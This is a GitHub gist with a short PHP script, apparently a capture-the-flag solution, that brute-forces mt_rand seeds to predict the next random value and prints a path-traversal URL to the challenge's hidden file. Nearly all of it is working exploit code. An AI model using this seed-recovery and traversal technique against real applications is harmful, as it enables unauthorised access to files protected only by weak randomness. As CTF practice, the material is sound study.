Created
May 9, 2016 09:53
-
-
Save CreateRemoteThread/86e93d03648a2a5dcadf4866635dee06 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$last_mtrand = 681012574; | |
for($ms_seed = 0;$ms_seed < 9000+5000;$ms_seed++) | |
{ | |
mt_srand($ms_seed); | |
if(mt_rand() == $last_mtrand) | |
{ | |
$next_mtrand = mt_rand(); | |
printf(" + seed found: %d. next mt_rand: %d\n",$ms_seed,$next_mtrand); | |
printf(" + access: 3magic.asis-ctf.ir/3magic/?page=../files/".$next_mtrand."_42\n"); | |
} | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment